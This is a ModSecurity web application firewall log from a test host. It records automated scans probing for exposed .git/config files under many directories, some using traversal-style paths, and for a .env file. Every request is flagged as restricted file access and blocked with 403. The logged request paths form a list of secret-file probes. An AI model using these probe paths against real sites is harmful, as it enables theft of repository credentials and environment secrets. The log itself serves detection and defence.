[Fri Nov 29 00:13:42.121133 2024] [:error] [pid 3628411] [client 179.43.189.138:57386] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /node_modules/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Z0j5Jq4feGBFRzE8C9IKkQAAAAI&quot;]
[Fri Nov 29 00:13:42.121483 2024] [:error] [pid 3628411] [client 179.43.189.138:57386] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Z0j5Jq4feGBFRzE8C9IKkQAAAAI&quot;]
[Fri Nov 29 00:13:42.121763 2024] [:error] [pid 3628411] [client 179.43.189.138:57386] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/node_modules/.git/config&quot;] [unique_id &quot;Z0j5Jq4feGBFRzE8C9IKkQAAAAI&quot;]
[Fri Nov 29 00:13:42.136373 2024] [:error] [pid 3628410] [client 179.43.189.138:57398] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /bower_components/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bower_components/.git/config&quot;] [unique_id &quot;Z0j5Jnm8KQSPFke33BTP0wAAAAE&quot;]
[Fri Nov 29 00:13:42.136709 2024] [:error] [pid 3628410] [client 179.43.189.138:57398] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bower_components/.git/config&quot;] [unique_id &quot;Z0j5Jnm8KQSPFke33BTP0wAAAAE&quot;]
[Fri Nov 29 00:13:42.136984 2024] [:error] [pid 3628410] [client 179.43.189.138:57398] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/bower_components/.git/config&quot;] [unique_id &quot;Z0j5Jnm8KQSPFke33BTP0wAAAAE&quot;]
[Fri Nov 29 00:13:42.161462 2024] [:error] [pid 3628423] [client 179.43.189.138:57404] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Z0j5Jg52qNCqUQPzbEI1kQAAAAU&quot;]
[Fri Nov 29 00:13:42.161896 2024] [:error] [pid 3628423] [client 179.43.189.138:57404] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Z0j5Jg52qNCqUQPzbEI1kQAAAAU&quot;]
[Fri Nov 29 00:13:42.162272 2024] [:error] [pid 3628423] [client 179.43.189.138:57404] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.git/config&quot;] [unique_id &quot;Z0j5Jg52qNCqUQPzbEI1kQAAAAU&quot;]
[Fri Nov 29 00:13:42.164506 2024] [:error] [pid 3628413] [client 179.43.189.138:57412] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /shared/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.git/config&quot;] [unique_id &quot;Z0j5JnuSClf5hqK7deURlwAAAAQ&quot;]
[Fri Nov 29 00:13:42.165655 2024] [:error] [pid 3628413] [client 179.43.189.138:57412] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.git/config&quot;] [unique_id &quot;Z0j5JnuSClf5hqK7deURlwAAAAQ&quot;]
[Fri Nov 29 00:13:42.168726 2024] [:error] [pid 3628413] [client 179.43.189.138:57412] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/shared/.git/config&quot;] [unique_id &quot;Z0j5JnuSClf5hqK7deURlwAAAAQ&quot;]
[Fri Nov 29 00:13:42.188456 2024] [:error] [pid 3628412] [client 179.43.189.138:57426] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /common/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Z0j5Jp8TNJfFMxXmIuV3tgAAAAM&quot;]
[Fri Nov 29 00:13:42.188789 2024] [:error] [pid 3628409] [client 179.43.189.138:57438] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /cache/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cache/.git/config&quot;] [unique_id &quot;Z0j5Jno9X3eV6ODW5yDbjwAAAAA&quot;]
[Fri Nov 29 00:13:42.188892 2024] [:error] [pid 3628412] [client 179.43.189.138:57426] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Z0j5Jp8TNJfFMxXmIuV3tgAAAAM&quot;]
[Fri Nov 29 00:13:42.189136 2024] [:error] [pid 3628409] [client 179.43.189.138:57438] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cache/.git/config&quot;] [unique_id &quot;Z0j5Jno9X3eV6ODW5yDbjwAAAAA&quot;]
[Fri Nov 29 00:13:42.189166 2024] [:error] [pid 3628412] [client 179.43.189.138:57426] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/common/.git/config&quot;] [unique_id &quot;Z0j5Jp8TNJfFMxXmIuV3tgAAAAM&quot;]
[Fri Nov 29 00:13:42.189410 2024] [:error] [pid 3628409] [client 179.43.189.138:57438] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cache/.git/config&quot;] [unique_id &quot;Z0j5Jno9X3eV6ODW5yDbjwAAAAA&quot;]
[Fri Nov 29 00:13:42.196495 2024] [:error] [pid 3628621] [client 179.43.189.138:57442] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /dist/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.git/config&quot;] [unique_id &quot;Z0j5JlLI-XWAVIgZzuog8gAAAAY&quot;]
[Fri Nov 29 00:13:42.196841 2024] [:error] [pid 3628621] [client 179.43.189.138:57442] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.git/config&quot;] [unique_id &quot;Z0j5JlLI-XWAVIgZzuog8gAAAAY&quot;]
[Fri Nov 29 00:13:42.197088 2024] [:error] [pid 3628621] [client 179.43.189.138:57442] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dist/.git/config&quot;] [unique_id &quot;Z0j5JlLI-XWAVIgZzuog8gAAAAY&quot;]
[Fri Nov 29 00:13:42.199881 2024] [:error] [pid 3628411] [client 179.43.189.138:57450] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /env/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.git/config&quot;] [unique_id &quot;Z0j5Jq4feGBFRzE8C9IKkgAAAAI&quot;]
[Fri Nov 29 00:13:42.200297 2024] [:error] [pid 3628411] [client 179.43.189.138:57450] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.git/config&quot;] [unique_id &quot;Z0j5Jq4feGBFRzE8C9IKkgAAAAI&quot;]
[Fri Nov 29 00:13:42.200596 2024] [:error] [pid 3628411] [client 179.43.189.138:57450] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env/.git/config&quot;] [unique_id &quot;Z0j5Jq4feGBFRzE8C9IKkgAAAAI&quot;]
[Fri Nov 29 00:13:43.679763 2024] [:error] [pid 3628410] [client 179.43.189.138:57452] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets../.git/config&quot;] [unique_id &quot;Z0j5J3m8KQSPFke33BTP1AAAAAE&quot;]
[Fri Nov 29 00:13:43.680558 2024] [:error] [pid 3628410] [client 179.43.189.138:57452] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets../.git/config&quot;] [unique_id &quot;Z0j5J3m8KQSPFke33BTP1AAAAAE&quot;]
[Fri Nov 29 00:13:43.681168 2024] [:error] [pid 3628410] [client 179.43.189.138:57452] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets../.git/config&quot;] [unique_id &quot;Z0j5J3m8KQSPFke33BTP1AAAAAE&quot;]
[Fri Nov 29 00:13:45.621387 2024] [:error] [pid 3628423] [client 179.43.189.138:57454] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/events../.git/config&quot;] [unique_id &quot;Z0j5KQ52qNCqUQPzbEI1kgAAAAU&quot;]
[Fri Nov 29 00:13:45.621659 2024] [:error] [pid 3628423] [client 179.43.189.138:57454] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/events../.git/config&quot;] [unique_id &quot;Z0j5KQ52qNCqUQPzbEI1kgAAAAU&quot;]
[Fri Nov 29 00:13:45.621867 2024] [:error] [pid 3628423] [client 179.43.189.138:57454] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/events../.git/config&quot;] [unique_id &quot;Z0j5KQ52qNCqUQPzbEI1kgAAAAU&quot;]
[Sun Dec 01 06:19:21.062623 2024] [:error] [pid 3676062] [client 35.159.63.21:58126] [client 35.159.63.21] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z0vx2ZwQ77eSx5IObp-1vgAAAAg&quot;]
[Sun Dec 01 06:19:21.063691 2024] [:error] [pid 3676062] [client 35.159.63.21:58126] [client 35.159.63.21] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z0vx2ZwQ77eSx5IObp-1vgAAAAg&quot;]
[Sun Dec 01 06:19:21.063962 2024] [:error] [pid 3676062] [client 35.159.63.21:58126] [client 35.159.63.21] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z0vx2ZwQ77eSx5IObp-1vgAAAAg&quot;]
